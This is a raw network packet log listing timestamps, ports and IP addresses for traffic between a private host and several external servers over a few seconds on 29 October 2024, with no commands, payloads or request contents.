Oct 29, 2024 15:27:54.544466019 CET	443	50053	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.544928074 CET	50053	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.544933081 CET	443	50053	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.642106056 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.643054962 CET	50056	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.643095016 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.643647909 CET	50056	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.643654108 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.676295042 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.676875114 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.676942110 CET	50054	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.676971912 CET	50054	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.676989079 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.676997900 CET	50054	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.677004099 CET	443	50054	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.677918911 CET	443	50055	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.678531885 CET	443	50055	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.678580046 CET	50055	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.678693056 CET	50055	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.678711891 CET	443	50055	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.678725004 CET	50055	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.678730965 CET	443	50055	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.680140018 CET	50057	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.680233002 CET	443	50057	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.680309057 CET	50057	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.680471897 CET	50057	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.680491924 CET	443	50057	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.680767059 CET	443	50053	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.681197882 CET	50058	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.681241989 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.681301117 CET	50058	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.681433916 CET	50058	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.681448936 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.682455063 CET	443	50053	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.682512999 CET	50053	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.682537079 CET	50053	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.682547092 CET	443	50053	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.682559013 CET	50053	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.682563066 CET	443	50053	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.688414097 CET	50059	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.688447952 CET	443	50059	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.688527107 CET	50059	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.688638926 CET	50059	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.688652992 CET	443	50059	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.706517935 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.706870079 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.706939936 CET	50051	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.706939936 CET	50051	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.706955910 CET	50051	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.706963062 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.709219933 CET	50060	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.709248066 CET	443	50060	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.709312916 CET	50060	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.709462881 CET	50060	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.709477901 CET	443	50060	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.775371075 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.775403976 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.775453091 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.775460005 CET	50056	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.775495052 CET	50056	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.775789976 CET	50056	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.775810003 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.775824070 CET	50056	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.775830030 CET	443	50056	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.781435966 CET	50061	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.781537056 CET	443	50061	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.781615019 CET	50061	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.781821966 CET	50061	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:54.781877041 CET	443	50061	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:54.869383097 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:54.869431973 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:54.872199059 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:54.877937078 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:55.152298927 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:55.153323889 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:55.155148029 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:55.160454988 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:55.452857971 CET	443	50060	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.453514099 CET	50060	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.453547955 CET	443	50060	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.453691959 CET	443	50057	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.454092979 CET	50060	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.454102039 CET	443	50060	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.454240084 CET	50057	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.454266071 CET	443	50057	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.454607964 CET	50057	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.454615116 CET	443	50057	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.457499027 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.459737062 CET	443	50059	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.460208893 CET	50058	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.460242987 CET	50059	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.460252047 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.460263014 CET	443	50059	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.460815907 CET	50058	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.460820913 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.461028099 CET	50059	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.461034060 CET	443	50059	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.733315945 CET	443	50060	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.733338118 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.733350039 CET	443	50060	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.733355045 CET	443	50057	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.733371019 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.733412981 CET	50060	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.733424902 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.733431101 CET	443	50060	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.733444929 CET	50058	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.733478069 CET	50058	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.733484030 CET	443	50057	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.733635902 CET	443	50059	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.733679056 CET	443	50060	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.733711958 CET	50057	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.733722925 CET	50060	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.733792067 CET	50060	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.733808041 CET	443	50060	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.733814001 CET	443	50059	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.733817101 CET	50060	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.733827114 CET	443	50060	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.733877897 CET	50059	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.734292030 CET	50059	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.734296083 CET	443	50059	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.734308004 CET	50059	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.734313011 CET	443	50059	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.734823942 CET	443	50061	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.735111952 CET	50058	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.735136986 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.735157013 CET	50058	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.735166073 CET	443	50058	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.735650063 CET	50061	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.735671043 CET	443	50061	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.736180067 CET	50061	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.736192942 CET	443	50061	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.736321926 CET	50057	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.736327887 CET	443	50057	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.736351013 CET	50057	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.736355066 CET	443	50057	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.740243912 CET	50062	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.740268946 CET	443	50062	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.740482092 CET	50062	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.741256952 CET	50063	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.741288900 CET	443	50063	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.741470098 CET	50064	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.741492987 CET	443	50064	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.741520882 CET	50063	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.741550922 CET	50064	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.741776943 CET	50062	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.741787910 CET	443	50062	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.741866112 CET	50063	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.741885900 CET	443	50063	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.741966963 CET	50064	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.741977930 CET	443	50064	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.742754936 CET	50065	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.742799997 CET	443	50065	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.742974043 CET	50065	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.743122101 CET	50065	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.743141890 CET	443	50065	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.773446083 CET	50066	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:55.773475885 CET	443	50066	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:55.773533106 CET	50066	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:55.773731947 CET	50066	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:55.773744106 CET	443	50066	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:55.877204895 CET	443	50061	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.877281904 CET	443	50061	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.877757072 CET	50061	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.877883911 CET	50061	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.877940893 CET	443	50061	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.877974033 CET	50061	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.877991915 CET	443	50061	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.881175995 CET	50067	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.881217003 CET	443	50067	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.881488085 CET	50067	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.881676912 CET	50067	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:55.881700039 CET	443	50067	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:55.957998037 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:55.958070993 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:56.405109882 CET	443	50066	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:56.409497023 CET	50066	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:56.409516096 CET	443	50066	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:56.410563946 CET	443	50066	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:56.410636902 CET	50066	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:56.411220074 CET	50066	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:56.411286116 CET	443	50066	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:56.411463976 CET	50066	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:56.411473036 CET	443	50066	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:56.466489077 CET	50066	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:56.493330956 CET	443	50064	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.493814945 CET	50064	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.493845940 CET	443	50064	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.494422913 CET	50064	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.494436979 CET	443	50064	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.499018908 CET	443	50065	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.499463081 CET	50065	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.499478102 CET	443	50065	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.499972105 CET	50065	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.499975920 CET	443	50065	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.514694929 CET	443	50063	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.515079021 CET	50063	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.515095949 CET	443	50063	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.515592098 CET	50063	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.515598059 CET	443	50063	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.518580914 CET	443	50062	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.518917084 CET	50062	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.518924952 CET	443	50062	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.519382954 CET	50062	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.519388914 CET	443	50062	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.547529936 CET	443	50066	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:56.547559977 CET	443	50066	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:56.547605038 CET	50066	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:56.547614098 CET	443	50066	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:56.547672987 CET	50066	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:56.548073053 CET	443	50066	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:56.548130989 CET	443	50066	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:56.548253059 CET	50066	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:56.550143957 CET	50066	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:56.550157070 CET	443	50066	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:56.550185919 CET	50066	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:56.550213099 CET	50066	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:56.558851004 CET	50068	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:56.558893919 CET	443	50068	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:56.558952093 CET	50068	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:56.559236050 CET	50068	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:56.559248924 CET	443	50068	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:56.626187086 CET	443	50064	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.626236916 CET	443	50064	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.626466036 CET	50064	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.626606941 CET	50064	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.626617908 CET	443	50064	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.626629114 CET	50064	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.626632929 CET	443	50064	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.630373955 CET	50069	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.630407095 CET	443	50069	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.630475998 CET	50069	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.630779982 CET	50069	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.630793095 CET	443	50069	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.631017923 CET	443	50067	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.631473064 CET	50067	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.631481886 CET	443	50067	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.631969929 CET	50067	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.631974936 CET	443	50067	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.659651995 CET	443	50063	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.659713984 CET	443	50063	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.659759045 CET	443	50063	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.659790039 CET	50063	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.659813881 CET	50063	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.666920900 CET	443	50065	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.666930914 CET	443	50062	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.666984081 CET	443	50065	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.667006969 CET	443	50062	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.667056084 CET	50065	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.667160988 CET	50062	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.682617903 CET	50063	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.682672024 CET	443	50063	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.682696104 CET	50063	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.682706118 CET	443	50063	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.683075905 CET	50065	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.683089972 CET	443	50065	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.683099031 CET	50065	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.683104038 CET	443	50065	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.684585094 CET	50062	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.684595108 CET	443	50062	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.684633017 CET	50062	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.684638023 CET	443	50062	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.687530994 CET	50070	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.687570095 CET	443	50070	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.687643051 CET	50070	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.688981056 CET	50071	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.688997030 CET	443	50071	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.689117908 CET	50071	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.689270020 CET	50070	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.689296961 CET	443	50070	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.689722061 CET	50071	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.689734936 CET	443	50071	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.690988064 CET	50072	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.691015005 CET	443	50072	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.691334963 CET	50072	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.691416979 CET	50072	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.691443920 CET	443	50072	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.779625893 CET	443	50067	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.779702902 CET	443	50067	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.779766083 CET	50067	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.786963940 CET	50067	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.786982059 CET	443	50067	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.786990881 CET	50067	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.786998034 CET	443	50067	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.792121887 CET	50073	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.792162895 CET	443	50073	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:56.792253971 CET	50073	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.793382883 CET	50073	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:56.793399096 CET	443	50073	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.183775902 CET	443	50068	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:57.184446096 CET	50068	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:57.184458971 CET	443	50068	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:57.184932947 CET	443	50068	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:57.187948942 CET	50068	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:57.188033104 CET	443	50068	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:57.188157082 CET	50068	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:57.233205080 CET	50068	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:57.233215094 CET	443	50068	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:57.323654890 CET	443	50068	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:57.323683977 CET	443	50068	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:57.323690891 CET	443	50068	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:57.323739052 CET	50068	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:57.323748112 CET	443	50068	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:57.323759079 CET	443	50068	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:57.323826075 CET	50068	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:57.326833963 CET	50068	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:57.326863050 CET	443	50068	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:57.335169077 CET	50074	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:57.335201025 CET	443	50074	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:57.335334063 CET	50074	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:57.335561037 CET	50074	443	192.168.2.6	23.47.194.83
Oct 29, 2024 15:27:57.335575104 CET	443	50074	23.47.194.83	192.168.2.6
Oct 29, 2024 15:27:57.371421099 CET	443	50069	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.383764982 CET	50069	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.383783102 CET	443	50069	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.384289026 CET	50069	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.384294033 CET	443	50069	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.435976982 CET	443	50071	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.440548897 CET	50071	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.440572977 CET	443	50071	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.441188097 CET	50071	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.441193104 CET	443	50071	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.503238916 CET	443	50070	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.504365921 CET	50070	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.504436016 CET	443	50070	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.505047083 CET	50070	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.505064011 CET	443	50070	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.510656118 CET	443	50069	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.510729074 CET	443	50069	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.510819912 CET	50069	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.511075020 CET	50069	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.511091948 CET	443	50069	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.511105061 CET	50069	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.511110067 CET	443	50069	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.515304089 CET	50075	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.515407085 CET	443	50075	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.515477896 CET	50075	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.515877962 CET	50075	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:57.515908003 CET	443	50075	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.570410013 CET	443	50071	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:57.570477962 CET	443	50071	13.107.246.45	192.168.2.6
